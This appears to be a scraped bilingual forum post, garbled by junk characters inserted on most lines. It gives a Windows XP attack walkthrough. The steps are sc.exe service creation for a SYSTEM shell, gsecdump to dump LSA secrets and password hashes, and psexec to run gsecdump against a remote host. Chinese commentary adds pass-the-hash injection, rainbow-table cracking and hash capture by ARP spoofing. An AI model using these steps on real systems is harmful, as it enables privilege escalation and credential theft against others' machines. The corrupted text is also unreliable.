o get a DOS Prompt as NT system:' u/ [; U$ _: s7 W# y/ M$ U
. `! H) U. q8 L: W( ]; K
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact( l, y! d, O* \; w0 N
[SC] CreateService SUCCESS, l/ ]0 f( x; B1 I, ]
, Q. `1 a& n% V1 [' U
C:\>sc start shellcmdline
( G d" p* N! l* [8 k- R[SC] StartService FAILED 1053:" Q! J1 w2 g8 Y- k
1 q" T3 Q' e0 f$ i$ B* w6 u. jThe service did not respond to the start or control request in a timely fashion.
; e" N9 I# r+ W7 n7 ]' J; l; S, z+ k- z$ Z( a
C:\>sc delete shellcmdline2 e/ M" v/ g: Y2 \. F S
[SC] DeleteService SUCCESS
' h( m) h" a. G6 T* m0 h1 a' c
------------9 u( v/ Y* w" N
2 R: v( U( E1 S0 b) N S5 I6 ~Then in the new DOS window:
/ A5 \; n" x7 y7 y, ^1 F4 w1 m8 `& ?4 j1 m, t7 l# c3 l
Microsoft Windows XP [Version 5.1.2600] S5 y' q, h8 ^& T0 K; f
(C) Copyright 1985-2001 Microsoft Corp.; v* V! D8 f. h h, q- |5 y
1 j! } U' A i- W6 H6 g7 E
C:\WINDOWS\system32>whoami
# n7 h& O9 z; GNT AUTHORITY\SYSTEM
7 Y5 d. Z" I+ q6 Q- n( M% N& D% I! a- D4 n6 Y. r
C:\WINDOWS\system32>gsecdump -h
3 _, T2 \/ i, ^+ A/ z6 | Z; M$ l1 dgsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
/ c6 K6 x! }! M( I6 F1 nusage: gsecdump [options]
# u7 ? G" _; u8 A I' @
& G8 u& n8 q' Y; `" Yoptions:
6 m" A& _! M9 S D4 P-h [ --help ] show help
! g: Q3 a( ~: q- u4 ?-a [ --dump_all ] dump all secrets7 r# M: `2 A1 Y9 @) I7 T
-l [ --dump_lsa ] dump lsa secrets2 y- n, j: q5 T+ K( A m
-w [ --dump_wireless ] dump microsoft wireless connections
8 Q: q! d6 \6 m4 ` |2 o3 d-u [ --dump_usedhashes ] dump hashes from active logon sessions
' C' d# I/ y$ Q( u3 M8 {-s [ --dump_hashes ] dump hashes from SAM/AD
. P0 x" `5 k C3 z1 ?/ S$ j6 u1 V' g/ Y* n* k# ~% H( b5 j
Although I like to use:
8 m- o: G- c3 j% }! t
; A# k$ W; ~; [) H+ W0 t4 p8 Q; ~PsExec v1.83 - Execute processes remotely
! B+ C M3 g8 b7 KCopyright (C) 2001-2007 Mark Russinovich/ _! q4 N3 J, F) X; `
Sysinternals - 链接标记[url]www.sysinternals.com[/url]! d' I: y; W/ }3 c
1 F+ A7 ?8 V8 i) U8 g' x
C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
3 P/ t x8 r5 ]7 [" ^7 J' P$ g- T( }* \( i2 q
to get the hashes from active logon sessions of a remote system.1 m' ^6 _; i! ~4 E% N; m1 D) {9 T
! l0 d" t1 ^) ]# r4 A/ G) H5 r
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
* l+ f/ J: g$ `1 Z% y$ Q7 p$ L( f
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
0 Z- `9 A F$ S8 s6 I' w& N' ^' ]/ v原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]* p7 p' Q7 ]/ D5 n. d$ w
7 ]+ n7 R% a: o5 |4 b
我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。5 z; K; D. E: V% q* G& d$ O5 z. y* R# c, t
|